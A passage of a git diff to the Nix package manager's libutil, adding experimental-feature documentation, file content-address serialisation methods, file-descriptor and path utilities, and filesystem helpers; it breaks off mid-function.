(*reverseXpMap)[xpFeature.name] = xpFeature.tag; return reverseXpMap; }(); @@ -36,25 +330,35 @@ const std::optional parseExperimentalFeature(const std::str return std::nullopt; } -std::string_view showExperimentalFeature(const ExperimentalFeature feature) +std::string_view showExperimentalFeature(const ExperimentalFeature tag) { - const auto ret = get(stringifiedXpFeatures, feature); - assert(ret); - return *ret; + assert((size_t)tag < xpFeatureDetails.size()); + return xpFeatureDetails[(size_t)tag].name; +} + +nlohmann::json documentExperimentalFeatures() +{ + StringMap res; + for (auto & xpFeature : xpFeatureDetails) { + std::stringstream docOss; + docOss << stripIndentation(xpFeature.description); + docOss << fmt("\nRefer to [%1% tracking issue](%2%) for feature tracking.", xpFeature.name, xpFeature.trackingUrl); + res[std::string{xpFeature.name}] = trim(docOss.str()); + } + return (nlohmann::json) res; } std::set parseFeatures(const std::set & rawFeatures) { std::set res; - for (auto & rawFeature : rawFeatures) { + for (auto & rawFeature : rawFeatures) if (auto feature = parseExperimentalFeature(rawFeature)) res.insert(*feature); - } return res; } MissingExperimentalFeature::MissingExperimentalFeature(ExperimentalFeature feature) - : Error("experimental Nix feature '%1%' is disabled; use '--extra-experimental-features %1%' to override", showExperimentalFeature(feature)) + : Error("experimental Nix feature '%1%' is disabled; add '--extra-experimental-features %1%' to enable it", showExperimentalFeature(feature)) , missingFeature(feature) {} diff --git a/src/libutil/experimental-features.hh b/src/libutil/experimental-features.hh index af775feb0..e65e51280 100644 --- a/src/libutil/experimental-features.hh +++ b/src/libutil/experimental-features.hh @@ -1,8 +1,8 @@ #pragma once +///@file -#include "comparator.hh" #include "error.hh" -#include "nlohmann/json_fwd.hpp" +#include "json-utils.hh" #include "types.hh" namespace nix { @@ -10,21 +10,32 @@ namespace nix { /** * The list of available experimental features. * - * If you update this, don’t forget to also change the map defining their - * string representation in the corresponding `.cc` file. - **/ + * If you update this, don’t forget to also change the map defining + * their string representation and documentation in the corresponding + * `.cc` file as well. + */ enum struct ExperimentalFeature { CaDerivations, ImpureDerivations, Flakes, + FetchTree, NixCommand, + GitHashing, RecursiveNix, NoUrlLiterals, FetchClosure, - ReplFlake, AutoAllocateUids, Cgroups, + DaemonTrustOverride, + DynamicDerivations, + ParseTomlTimestamps, + ReadOnlyLocalStore, + LocalOverlayStore, + ConfigurableImpureEnv, + MountedSSHStore, + VerifiedFetches, + PipeOperators, }; /** @@ -32,26 +43,52 @@ enum struct ExperimentalFeature */ using Xp = ExperimentalFeature; +/** + * Parse an experimental feature (enum value) from its name. Experimental + * feature flag names are hyphenated and do not contain spaces. + */ const std::optional parseExperimentalFeature( const std::string_view & name); + +/** + * Show the name of an experimental feature. This is the opposite of + * parseExperimentalFeature(). + */ std::string_view showExperimentalFeature(const ExperimentalFeature); +/** + * Compute the documentation of all experimental features. + * + * See `doc/manual` for how this information is used. + */ +nlohmann::json documentExperimentalFeatures(); + +/** + * Shorthand for `str << showExperimentalFeature(feature)`. + */ std::ostream & operator<<( std::ostream & str, const ExperimentalFeature & feature); /** - * Parse a set of strings to the corresponding set of experimental features, - * ignoring (but warning for) any unkwown feature. + * Parse a set of strings to the corresponding set of experimental + * features, ignoring (but warning for) any unknown feature. */ std::set parseFeatures(const std::set &); +/** + * An experimental feature was required for some (experimental) + * operation, but was not enabled. + */ class MissingExperimentalFeature : public Error { public: + /** + * The experimental feature that was required but not enabled. + */ ExperimentalFeature missingFeature; - MissingExperimentalFeature(ExperimentalFeature); + MissingExperimentalFeature(ExperimentalFeature missingFeature); }; /** @@ -61,4 +98,10 @@ public: void to_json(nlohmann::json &, const ExperimentalFeature &); void from_json(const nlohmann::json &, ExperimentalFeature &); +/** + * It is always rendered as a string + */ +template<> +struct json_avoids_null : std::true_type {}; + } diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc new file mode 100644 index 000000000..69301d9c8 --- /dev/null +++ b/src/libutil/file-content-address.cc @@ -0,0 +1,133 @@ +#include "file-content-address.hh" +#include "archive.hh" +#include "git.hh" +#include "source-path.hh" + +namespace nix { + +static std::optional parseFileSerialisationMethodOpt(std::string_view input) +{ + if (input == "flat") { + return FileSerialisationMethod::Flat; + } else if (input == "nar") { + return FileSerialisationMethod::NixArchive; + } else { + return std::nullopt; + } +} + +FileSerialisationMethod parseFileSerialisationMethod(std::string_view input) +{ + auto ret = parseFileSerialisationMethodOpt(input); + if (ret) + return *ret; + else + throw UsageError("Unknown file serialiation method '%s', expect `flat` or `nar`"); +} + + +FileIngestionMethod parseFileIngestionMethod(std::string_view input) +{ + if (input == "git") { + return FileIngestionMethod::Git; + } else { + auto ret = parseFileSerialisationMethodOpt(input); + if (ret) + return static_cast(*ret); + else + throw UsageError("Unknown file ingestion method '%s', expect `flat`, `nar`, or `git`"); + } +} + + +std::string_view renderFileSerialisationMethod(FileSerialisationMethod method) +{ + switch (method) { + case FileSerialisationMethod::Flat: + return "flat"; + case FileSerialisationMethod::NixArchive: + return "nar"; + default: + assert(false); + } +} + + +std::string_view renderFileIngestionMethod(FileIngestionMethod method) +{ + switch (method) { + case FileIngestionMethod::Flat: + case FileIngestionMethod::NixArchive: + return renderFileSerialisationMethod( + static_cast(method)); + case FileIngestionMethod::Git: + return "git"; + default: + unreachable(); + } +} + + +void dumpPath( + const SourcePath & path, + Sink & sink, + FileSerialisationMethod method, + PathFilter & filter) +{ + switch (method) { + case FileSerialisationMethod::Flat: + path.readFile(sink); + break; + case FileSerialisationMethod::NixArchive: + path.dumpPath(sink, filter); + break; + } +} + + +void restorePath( + const Path & path, + Source & source, + FileSerialisationMethod method, + bool startFsync) +{ + switch (method) { + case FileSerialisationMethod::Flat: + writeFile(path, source, 0666, startFsync); + break; + case FileSerialisationMethod::NixArchive: + restorePath(path, source, startFsync); + break; + } +} + + +HashResult hashPath( + const SourcePath & path, + FileSerialisationMethod method, HashAlgorithm ha, + PathFilter & filter) +{ + HashSink sink { ha }; + dumpPath(path, sink, method, filter); + return sink.finish(); +} + + +std::pair> hashPath( + const SourcePath & path, + FileIngestionMethod method, HashAlgorithm ht, + PathFilter & filter) +{ + switch (method) { + case FileIngestionMethod::Flat: + case FileIngestionMethod::NixArchive: { + auto res = hashPath(path, (FileSerialisationMethod) method, ht, filter); + return {res.first, {res.second}}; + } + case FileIngestionMethod::Git: + return {git::dumpHash(ht, path, filter).hash, std::nullopt}; + } + assert(false); +} + +} diff --git a/src/libutil/file-content-address.hh b/src/libutil/file-content-address.hh new file mode 100644 index 000000000..0c584ea8a --- /dev/null +++ b/src/libutil/file-content-address.hh @@ -0,0 +1,160 @@ +#pragma once +///@file + +#include "source-accessor.hh" + +namespace nix { + +struct SourcePath; + +/** + * An enumeration of the ways we can serialize file system + * objects. + * + * See `file-system-object/content-address.md#serial` in the manual for + * a user-facing description of this concept, but note that this type is also + * used for storing or sending copies; not just for addressing. + * Note also that there are other content addressing methods that don't + * correspond to a serialisation method. + */ +enum struct FileSerialisationMethod : uint8_t { + /** + * Flat-file. The contents of a single file exactly. + * + * See `file-system-object/content-address.md#serial-flat` in the + * manual. + */ + Flat, + + /** + * Nix Archive. Serializes the file-system object in + * Nix Archive format. + * + * See `file-system-object/content-address.md#serial-nix-archive` in + * the manual. + */ + NixArchive, +}; + +/** + * Parse a `FileSerialisationMethod` by name. Choice of: + * + * - `flat`: `FileSerialisationMethod::Flat` + * - `nar`: `FileSerialisationMethod::NixArchive` + * + * Opposite of `renderFileSerialisationMethod`. + */ +FileSerialisationMethod parseFileSerialisationMethod(std::string_view input); + +/** + * Render a `FileSerialisationMethod` by name. + * + * Opposite of `parseFileSerialisationMethod`. + */ +std::string_view renderFileSerialisationMethod(FileSerialisationMethod method); + +/** + * Dump a serialization of the given file system object. + */ +void dumpPath( + const SourcePath & path, + Sink & sink, + FileSerialisationMethod method, + PathFilter & filter = defaultPathFilter); + +/** + * Restore a serialisation of the given file system object. + * + * @TODO use an arbitrary `FileSystemObjectSink`. + */ +void restorePath( + const Path & path, + Source & source, + FileSerialisationMethod method, + bool startFsync = false); + + +/** + * Compute the hash of the given file system object according to the + * given method. + * + * the hash is defined as (in pseudocode): + * + * ``` + * hashString(ha, dumpPath(...)) + * ``` + */ +HashResult hashPath( + const SourcePath & path, + FileSerialisationMethod method, HashAlgorithm ha, + PathFilter & filter = defaultPathFilter); + +/** + * An enumeration of the ways we can ingest file system + * objects, producing a hash or digest. + * + * See `file-system-object/content-address.md` in the manual for a + * user-facing description of this concept. + */ +enum struct FileIngestionMethod : uint8_t { + /** + * Hash `FileSerialisationMethod::Flat` serialisation. + * + * See `file-system-object/content-address.md#serial-flat` in the + * manual. + */ + Flat, + + /** + * Hash `FileSerialisationMethod::NixArchive` serialisation. + * + * See `file-system-object/content-address.md#serial-flat` in the + * manual. + */ + NixArchive, + + /** + * Git hashing. + * + * Part of `ExperimentalFeature::GitHashing`. + * + * See `file-system-object/content-address.md#serial-git` in the + * manual. + */ + Git, +}; + +/** + * Parse a `FileIngestionMethod` by name. Choice of: + * + * - `flat`: `FileIngestionMethod::Flat` + * - `nar`: `FileIngestionMethod::NixArchive` + * - `git`: `FileIngestionMethod::Git` + * + * Opposite of `renderFileIngestionMethod`. + */ +FileIngestionMethod parseFileIngestionMethod(std::string_view input); + +/** + * Render a `FileIngestionMethod` by name. + * + * Opposite of `parseFileIngestionMethod`. + */ +std::string_view renderFileIngestionMethod(FileIngestionMethod method); + +/** + * Compute the hash of the given file system object according to the + * given method, and for some ingestion methods, the size of the + * serialisation. + * + * Unlike the other `hashPath`, this works on an arbitrary + * `FileIngestionMethod` instead of `FileSerialisationMethod`, but + * may not return the size as this is this is not a both simple and + * useful defined for a merkle format. + */ +std::pair> hashPath( + const SourcePath & path, + FileIngestionMethod method, HashAlgorithm ha, + PathFilter & filter = defaultPathFilter); + +} diff --git a/src/libutil/file-descriptor.cc b/src/libutil/file-descriptor.cc new file mode 100644 index 000000000..4c5daf398 --- /dev/null +++ b/src/libutil/file-descriptor.cc @@ -0,0 +1,149 @@ +#include "file-system.hh" +#include "signals.hh" +#include "finally.hh" +#include "serialise.hh" + +#include +#include +#ifdef _WIN32 +# include +# include +# include "windows-error.hh" +#endif + +namespace nix { + +void writeLine(Descriptor fd, std::string s) +{ + s += '\n'; + writeFull(fd, s); +} + + +std::string drainFD(Descriptor fd, bool block, const size_t reserveSize) +{ + // the parser needs two extra bytes to append terminating characters, other users will + // not care very much about the extra memory. + StringSink sink(reserveSize + 2); +#ifdef _WIN32 + // non-blocking is not supported this way on Windows + assert(block); + drainFD(fd, sink); +#else + drainFD(fd, sink, block); +#endif + return std::move(sink.s); +} + + +////////////////////////////////////////////////////////////////////// + + +AutoCloseFD::AutoCloseFD() : fd{INVALID_DESCRIPTOR} {} + + +AutoCloseFD::AutoCloseFD(Descriptor fd) : fd{fd} {} + + +AutoCloseFD::AutoCloseFD(AutoCloseFD && that) : fd{that.fd} +{ + that.fd = INVALID_DESCRIPTOR; +} + + +AutoCloseFD & AutoCloseFD::operator =(AutoCloseFD && that) +{ + close(); + fd = that.fd; + that.fd = INVALID_DESCRIPTOR; + return *this; +} + + +AutoCloseFD::~AutoCloseFD() +{ + try { + close(); + } catch (...) { + ignoreException(); + } +} + + +Descriptor AutoCloseFD::get() const +{ + return fd; +} + + +void AutoCloseFD::close() +{ + if (fd != INVALID_DESCRIPTOR) { + if( +#ifdef _WIN32 + ::CloseHandle(fd) +#else + ::close(fd) +#endif + == -1) + /* This should never happen. */ + throw NativeSysError("closing file descriptor %1%", fd); + fd = INVALID_DESCRIPTOR; + } +} + +void AutoCloseFD::fsync() const +{ + if (fd != INVALID_DESCRIPTOR) { + int result; + result = +#ifdef _WIN32 + ::FlushFileBuffers(fd) +#elif __APPLE__ + ::fcntl(fd, F_FULLFSYNC) +#else + ::fsync(fd) +#endif + ; + if (result == -1) + throw NativeSysError("fsync file descriptor %1%", fd); + } +} + + + +void AutoCloseFD::startFsync() const +{ +#if __linux__ + if (fd != -1) { + /* Ignore failure, since fsync must be run later anyway. This is just a performance optimization. */ + ::sync_file_range(fd, 0, 0, SYNC_FILE_RANGE_WRITE); + } +#endif +} + + +AutoCloseFD::operator bool() const +{ + return fd != INVALID_DESCRIPTOR; +} + + +Descriptor AutoCloseFD::release() +{ + Descriptor oldFD = fd; + fd = INVALID_DESCRIPTOR; + return oldFD; +} + + +////////////////////////////////////////////////////////////////////// + + +void Pipe::close() +{ + readSide.close(); + writeSide.close(); +} + +} diff --git a/src/libutil/file-descriptor.hh b/src/libutil/file-descriptor.hh new file mode 100644 index 000000000..551e51adc --- /dev/null +++ b/src/libutil/file-descriptor.hh @@ -0,0 +1,181 @@ +#pragma once +///@file + +#include "types.hh" +#include "error.hh" + +#ifdef _WIN32 +# define WIN32_LEAN_AND_MEAN +# include +#endif + +namespace nix { + +struct Sink; +struct Source; + +/** + * Operating System capability + */ +using Descriptor = +#if _WIN32 + HANDLE +#else + int +#endif + ; + +const Descriptor INVALID_DESCRIPTOR = +#if _WIN32 + INVALID_HANDLE_VALUE +#else + -1 +#endif + ; + +/** + * Convert a native `Descriptor` to a POSIX file descriptor + * + * This is a no-op except on Windows. + */ +static inline Descriptor toDescriptor(int fd) +{ +#ifdef _WIN32 + return reinterpret_cast(_get_osfhandle(fd)); +#else + return fd; +#endif +} + +/** + * Convert a POSIX file descriptor to a native `Descriptor` in read-only + * mode. + * + * This is a no-op except on Windows. + */ +static inline int fromDescriptorReadOnly(Descriptor fd) +{ +#ifdef _WIN32 + return _open_osfhandle(reinterpret_cast(fd), _O_RDONLY); +#else + return fd; +#endif +} + +/** + * Read the contents of a resource into a string. + */ +std::string readFile(Descriptor fd); + +/** + * Wrappers arount read()/write() that read/write exactly the + * requested number of bytes. + */ +void readFull(Descriptor fd, char * buf, size_t count); + +void writeFull(Descriptor fd, std::string_view s, bool allowInterrupts = true); + +/** + * Read a line from a file descriptor. + */ +std::string readLine(Descriptor fd); + +/** + * Write a line to a file descriptor. + */ +void writeLine(Descriptor fd, std::string s); + +/** + * Read a file descriptor until EOF occurs. + */ +std::string drainFD(Descriptor fd, bool block = true, const size_t reserveSize=0); + +/** + * The Windows version is always blocking. + */ +void drainFD( + Descriptor fd + , Sink & sink +#ifndef _WIN32 + , bool block = true +#endif + ); + +[[gnu::always_inline]] +inline Descriptor getStandardOut() { +#ifndef _WIN32 + return STDOUT_FILENO; +#else + return GetStdHandle(STD_OUTPUT_HANDLE); +#endif +} + +/** + * Automatic cleanup of resources. + */ +class AutoCloseFD +{ + Descriptor fd; +public: + AutoCloseFD(); + AutoCloseFD(Descriptor fd); + AutoCloseFD(const AutoCloseFD & fd) = delete; + AutoCloseFD(AutoCloseFD&& fd); + ~AutoCloseFD(); + AutoCloseFD& operator =(const AutoCloseFD & fd) = delete; + AutoCloseFD& operator =(AutoCloseFD&& fd); + Descriptor get() const; + explicit operator bool() const; + Descriptor release(); + void close(); + + /** + * Perform a blocking fsync operation. + */ + void fsync() const; + + /** + * Asynchronously flush to disk without blocking, if available on + * the platform. This is just a performance optimization, and + * fsync must be run later even if this is called. + */ + void startFsync() const; +}; + +class Pipe +{ +public: + AutoCloseFD readSide, writeSide; + void create(); + void close(); +}; + +#ifndef _WIN32 // Not needed on Windows, where we don't fork +namespace unix { + +/** + * Close all file descriptors except those listed in the given set. + * Good practice in child processes. + */ +void closeMostFDs(const std::set & exceptions); + +/** + * Set the close-on-exec flag for the given file descriptor. + */ +void closeOnExec(Descriptor fd); + +} // namespace unix +#endif + +#if defined(_WIN32) && _WIN32_WINNT >= 0x0600 +namespace windows { + +Path handleToPath(Descriptor handle); +std::wstring handleToFileName(Descriptor handle); + +} // namespace windows +#endif + +MakeError(EndOfFile, Error); + +} diff --git a/src/libutil/file-path-impl.hh b/src/libutil/file-path-impl.hh new file mode 100644 index 000000000..d7c823fd0 --- /dev/null +++ b/src/libutil/file-path-impl.hh @@ -0,0 +1,173 @@ +#pragma once +/** + * @file + * + * Pure (no IO) infrastructure just for defining other path types; + * should not be used directly outside of utilities. + */ +#include +#include + +namespace nix { + +/** + * Unix-style path primives. + * + * Nix'result own "logical" paths are always Unix-style. So this is always + * used for that, and additionally used for native paths on Unix. + */ +struct UnixPathTrait +{ + using CharT = char; + + using String = std::string; + + using StringView = std::string_view; + + constexpr static char preferredSep = '/'; + + static inline bool isPathSep(char c) + { + return c == '/'; + } + + static inline size_t findPathSep(StringView path, size_t from = 0) + { + return path.find('/', from); + } + + static inline size_t rfindPathSep(StringView path, size_t from = StringView::npos) + { + return path.rfind('/', from); + } +}; + + +/** + * Windows-style path primitives. + * + * The character type is a parameter because while windows paths rightly + * work over UTF-16 (*) using `wchar_t`, at the current time we are + * often manipulating them converted to UTF-8 (*) using `char`. + * + * (Actually neither are guaranteed to be valid unicode; both are + * arbitrary non-0 8- or 16-bit bytes. But for charcters with specifical + * meaning like '/', '\\', ':', etc., we refer to an encoding scheme, + * and also for sake of UIs that display paths a text.) + */ +template +struct WindowsPathTrait +{ + using CharT = CharT0; + + using String = std::basic_string; + + using StringView = std::basic_string_view; + + constexpr static CharT preferredSep = '\\'; + + static inline bool isPathSep(CharT c) + { + return c == '/' || c == preferredSep; + } + + static size_t findPathSep(StringView path, size_t from = 0) + { + size_t p1 = path.find('/', from); + size_t p2 = path.find(preferredSep, from); + return p1 == String::npos ? p2 : + p2 == String::npos ? p1 : + std::min(p1, p2); + } + + static size_t rfindPathSep(StringView path, size_t from = String::npos) + { + size_t p1 = path.rfind('/', from); + size_t p2 = path.rfind(preferredSep, from); + return p1 == String::npos ? p2 : + p2 == String::npos ? p1 : + std::max(p1, p2); + } +}; + + +template +using OsPathTrait = +#ifdef _WIN32 + WindowsPathTrait +#else + UnixPathTrait +#endif + ; + + +/** + * Core pure path canonicalization algorithm. + * + * @param hookComponent + * A callback which is passed two arguments, + * references to + * + * 1. the result so far + * + * 2. the remaining path to resolve + * + * This is a chance to modify those two paths in arbitrary way, e.g. if + * "result" points to a symlink. + */ +template +typename PathDict::String canonPathInner( + typename PathDict::StringView remaining, + auto && hookComponent) +{ + assert(remaining != ""); + + typename PathDict::String result; + result.reserve(256); + + while (true) { + + /* Skip slashes. */ + while (!remaining.empty() && PathDict::isPathSep(remaining[0])) + remaining.remove_prefix(1); + + if (remaining.empty()) break; + + auto nextComp = ({ + auto nextPathSep = PathDict::findPathSep(remaining); + nextPathSep == remaining.npos ? remaining : remaining.substr(0, nextPathSep); + }); + + /* Ignore `.'. */ + if (nextComp == ".") + remaining.remove_prefix(1); + + /* If `..', delete the last component. */ + else if (nextComp == "..") + { + if (!result.empty()) result.erase(PathDict::rfindPathSep(result)); + remaining.remove_prefix(2); + } + + /* Normal component; copy it. */ + else { + result += PathDict::preferredSep; + if (const auto slash = PathDict::findPathSep(remaining); slash == result.npos) { + result += remaining; + remaining = {}; + } else { + result += remaining.substr(0, slash); + remaining = remaining.substr(slash); + } + + hookComponent(result, remaining); + } + } + + if (result.empty()) + result = typename PathDict::String { PathDict::preferredSep }; + + return result; +} + +} diff --git a/src/libutil/file-path.hh b/src/libutil/file-path.hh new file mode 100644 index 000000000..8e4a88b9d --- /dev/null +++ b/src/libutil/file-path.hh @@ -0,0 +1,47 @@ +#pragma once +///@file + +#include + +#include "types.hh" +#include "os-string.hh" + +namespace nix { + +/** + * Paths are just `std::filesystem::path`s. + * + * @todo drop `NG` suffix and replace the ones in `types.hh`. + */ +typedef std::list PathsNG; +typedef std::set PathSetNG; + +/** + * Stop gap until `std::filesystem::path_view` from P1030R6 exists in a + * future C++ standard. + * + * @todo drop `NG` suffix and replace the one in `types.hh`. + */ +struct PathViewNG : OsStringView +{ + using string_view = OsStringView; + + using string_view::string_view; + + PathViewNG(const std::filesystem::path & path) + : OsStringView{path.native()} + { } + + PathViewNG(const OsString & path) + : OsStringView{path} + { } + + const string_view & native() const { return *this; } + string_view & native() { return *this; } +}; + +std::optional maybePath(PathView path); + +std::filesystem::path pathNG(PathView path); + +} diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc new file mode 100644 index 000000000..ded7335f9 --- /dev/null +++ b/src/libutil/file-system.cc @@ -0,0 +1,747 @@ +#include "environment-variables.hh" +#include "file-system.hh" +#include "file-path.hh" +#include "file-path-impl.hh" +#include "signals.hh" +#include "finally.hh" +#include "serialise.hh" + +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#ifdef _WIN32 +# include +#endif + +#include "strings-inline.hh" + +namespace fs = std::filesystem; + +namespace nix { + +/** + * Treat the string as possibly an absolute path, by inspecting the + * start of it. Return whether it was probably intended to be + * absolute. + */ +static bool isAbsolute(PathView path) +{ + return fs::path { path }.is_absolute(); +} + + +Path absPath(PathView path, std::optional dir, bool resolveSymlinks) +{ + std::string scratch; + + if (!isAbsolute(path)) { + // In this case we need to call `canonPath` on a newly-created + // string. We set `scratch` to that string first, and then set + // `path` to `scratch`. This ensures the newly-created string + // lives long enough for the call to `canonPath`, and allows us + // to just accept a `std::string_view`. + if (!dir) { +#ifdef __GNU__ + /* GNU (aka. GNU/Hurd) doesn't have any limitation on path + lengths and doesn't define `PATH_MAX'. */ + char *buf = getcwd(NULL, 0); + if (buf == NULL) +#else + char buf[PATH_MAX]; + if (!getcwd(buf, sizeof(buf))) +#endif + throw SysError("cannot get cwd"); + scratch = concatStrings(buf, "/", path); +#ifdef __GNU__ + free(buf); +#endif + } else + scratch = concatStrings(*dir, "/", path); + path = scratch; + } + return canonPath(path, resolveSymlinks); +} + + +Path canonPath(PathView path, bool resolveSymlinks) +{ + assert(path != ""); + + if (!isAbsolute(path)) + throw Error("not an absolute path: '%1%'", path); + + // For Windows + auto rootName = fs::path { path }.root_name(); + + /* This just exists because we cannot set the target of `remaining` + (the callback parameter) directly to a newly-constructed string, + since it is `std::string_view`. */ + std::string temp; + + /* Count the number of times we follow a symlink and stop at some + arbitrary (but high) limit to prevent infinite loops. */ + unsigned int followCount = 0, maxFollow = 1024; + + auto ret = canonPathInner>( + path, + [&followCount, &temp, maxFollow, resolveSymlinks] + (std::string & result, std::string_view & remaining) { + if (resolveSymlinks && fs::is_symlink(result)) { + if (++followCount >= maxFollow) + throw Error("infinite symlink recursion in path '%0%'", remaining); + remaining = (temp = concatStrings(readLink(result), remaining)); + if (isAbsolute(remaining)) { + /* restart for symlinks pointing to absolute path */ + result.clear(); + } else { + result = dirOf(result); + if (result == "/") { + /* we don’t want trailing slashes here, which `dirOf` + only produces if `result = /` */ + result.clear(); + } + } + } + }); + + if (!rootName.empty()) + ret = rootName.string() + std::move(ret); + return ret; +} + + +Path dirOf(const PathView path) +{ + Path::size_type pos = OsPathTrait::rfindPathSep(path); + if (pos == path.npos) + return "."; + return fs::path{path}.parent_path().string(); +} + + +std::string_view baseNameOf(std::string_view path) +{ + if (path.empty()) + return ""; + + auto last = path.size() - 1; + while (last > 0 && OsPathTrait::isPathSep(path[last])) + last -= 1; + + auto pos = OsPathTrait::rfindPathSep(path, last); + if (pos == path.npos) + pos = 0; + else + pos += 1; + + return path.substr(pos, last - pos + 1); +} + + +bool isInDir(std::string_view path, std::string_view dir) +{ + return path.substr(0, 1) == "/" + && path.substr(0, dir.size()) == dir + && path.size() >= dir.size() + 2 + && path[dir.size()] == '/'; +} + + +bool isDirOrInDir(std::string_view path, std::string_view dir) +{ + return path == dir || isInDir(path, dir); +} + + +struct stat stat(const Path & path) +{ + struct stat st; + if (stat(path.c_str(), &st)) + throw SysError("getting status of '%1%'", path); + return st; +} + +#ifdef _WIN32 +# define STAT stat +#else +# define STAT lstat +#endif + +struct stat lstat(const Path & path) +{ + struct stat st; + if (STAT(path.c_str(), &st)) + throw SysError("getting status of '%1%'", path); + return st; +} + + +std::optional maybeLstat(const Path & path) +{ + std::optional st{std::in_place}; + if (STAT(path.c_str(), &*st)) + { + if (errno == ENOENT || errno == ENOTDIR) + st.reset(); + else + throw SysError("getting status of '%s'", path); + } + return st; +} + + +bool pathExists(const Path & path) +{ + return maybeLstat(path).has_value(); +} + +bool pathAccessible(const Path & path) +{ + try { + return pathExists(path); + } catch (SysError & e) { + // swallow EPERM + if (e.errNo == EPERM) return false; + throw; + } +} + + +Path readLink(const Path & path) +{ + checkInterrupt(); + return fs::read_symlink(path).string(); +} + + +std::string readFile(const Path & path) +{ + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_RDONLY +// TODO +#ifndef _WIN32 + | O_CLOEXEC +#endif + )); + if (!fd) + throw SysError("opening file '%1%'", path); + return readFile(fd.get()); +} + + +void readFile(const Path & path, Sink & sink) +{ + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_RDONLY +// TODO +#ifndef _WIN32 + | O_CLOEXEC +#endif + )); + if (!fd) + throw SysError("opening file '%s'", path); + drainFD(fd.get(), sink); +} + + +void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) +{ + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT +// TODO +#ifndef _WIN32 + | O_CLOEXEC +#endif + , mode)); + if (!fd) + throw SysError("opening file '%1%'", path); + try { + writeFull(fd.get(), s); + } catch (Error & e) { + e.addTrace({}, "writing file '%1%'", path); + throw; + } + if (sync) + fd.fsync(); + // Explicitly close to make sure exceptions are propagated. + fd.close(); + if (sync) + syncParent(path); +} + + +void writeFile(const Path & path, Source & source, mode_t mode, bool sync) +{ + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT +// TODO +#ifndef _WIN32 + | O_CLOEXEC +#endif + , mode)); + if (!fd) + throw SysError("opening file '%1%'", path); + + std::array buf; + + try { + while (true) { + try { + auto n = source.read(buf.data(), buf.size()); + writeFull(fd.get(), {buf.data(), n}); + } catch (EndOfFile &) { break; } + } + } catch (Error & e) { + e.addTrace({}, "writing file '%1%'", path); + throw; + } + if (sync) + fd.fsync(); + // Explicitly close to make sure exceptions are propagated. + fd.close(); + if (sync) + syncParent(path); +} + +void syncParent(const Path & path) +{ + AutoCloseFD fd = toDescriptor(open(dirOf(path).c_str(), O_RDONLY, 0)); + if (!fd) + throw SysError("opening file '%1%'", path); + fd.fsync(); +} + + +void recursiveSync(const Path & path) +{ + /* If it's a file, just fsync and return. */ + auto st = lstat(path); + if (S_ISREG(st.st_mode)) { + AutoCloseFD fd = open(path.c_str(), O_RDONLY, 0); + if (!fd) + throw SysError("opening file '%1%'", path); + fd.fsync(); + return; + } + + /* Otherwise, perform a depth-first traversal of the directory and + fsync all the files. */ + std::deque dirsToEnumerate; + dirsToEnumerate.push_back(path); + std::vector dirsToFsync; + while (!dirsToEnumerate.empty()) { + auto currentDir = dirsToEnumerate.back(); + dirsToEnumerate.pop_back(); + for (auto & entry : std::filesystem::directory_iterator(path)) { + auto st = entry.symlink_status(); + if (fs::is_directory(st)) { + dirsToEnumerate.emplace_back(entry.path()); + } else if (fs::is_regular_file(st)) { + AutoCloseFD fd = open(entry.path().c_str(), O_RDONLY, 0); + if (!fd) + throw SysError("opening file '%1%'", entry.path()); + fd.fsync(); + } + } + dirsToFsync.emplace_back(std::move(currentDir)); + } + + /* Fsync all the directories. */ + for (auto dir = dirsToFsync.rbegin(); dir != dirsToFsync.rend(); ++dir) { + AutoCloseFD fd = open(dir->c_str(), O_RDONLY, 0); + if (!fd) + throw SysError("opening directory '%1%'", *dir); + fd.fsync(); + } +} + + +static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & bytesFreed) +{ +#ifndef _WIN32 + checkInterrupt(); + + std::string name(baseNameOf(path.native())); + + struct stat st; + if (fstatat(parentfd, name.c_str(), &st, + AT_SYMLINK_NOFOLLOW) == -1) { + if (errno == ENOENT) return; + throw SysError("getting status of '%1%'", path); + } + + if (!S_ISDIR(st.st_mode)) { + /* We are about to delete a file. Will it likely free space? */ + + switch (st.st_nlink) { + /* Yes: last link. */ + case 1: + bytesFreed += st.st_size; + break; + /* Maybe: yes, if 'auto-optimise-store' or manual optimisation + was performed. Instead of checking for real let's assume + it's an optimised file and space will be freed. + + In worst case we will double count on freed space for files + with exactly two hardlinks for unoptimised packages. + */ + case 2: + bytesFreed += st.st_size; + break; + /* No: 3+ links. */ + default: + break; + } + } + + if (S_ISDIR(st.st_mode)) { + /* Make the directory accessible. */ + const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR; + if ((st.st_mode & PERM_MASK) != PERM_MASK) { + if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) + throw SysError("chmod '%1%'", path); + } + + int fd = openat(parentfd, path.c_str(), O_RDONLY); + if (fd == -1) + throw SysError("opening directory '%1%'", path); + AutoCloseDir dir(fdopendir(fd)); + if (!dir) + throw SysError("opening directory '%1%'", path); + + struct dirent * dirent; + while (errno = 0, dirent = readdir(dir.get())) { /* sic */ + checkInterrupt(); + std::string childName = dirent->d_name; + if (childName == "." || childName == "..") continue; + _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed); + } + if (errno) throw SysError("reading directory '%1%'", path); + } + + int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0; + if (unlinkat(parentfd, name.c_str(), flags) == -1) { + if (errno == ENOENT) return; + throw SysError("cannot unlink '%1%'", path); + } +#else + // TODO implement + throw UnimplementedError("_deletePath"); +#endif +} + +static void _deletePath(const fs::path & path, uint64_t & bytesFreed) +{ + Path dir = dirOf(path.string()); + if (dir == "") + dir = "/"; + + AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY)); + if (!dirfd) { + if (errno == ENOENT) return; + throw SysError("opening directory '%1%'", path); + } + + _deletePath(dirfd.get(), path, bytesFreed); +} + + +void deletePath(const fs::path & path) +{ + uint64_t dummy; + deletePath(path, dummy); +} + +void createDir(const Path & path, mode_t mode) +{ + if 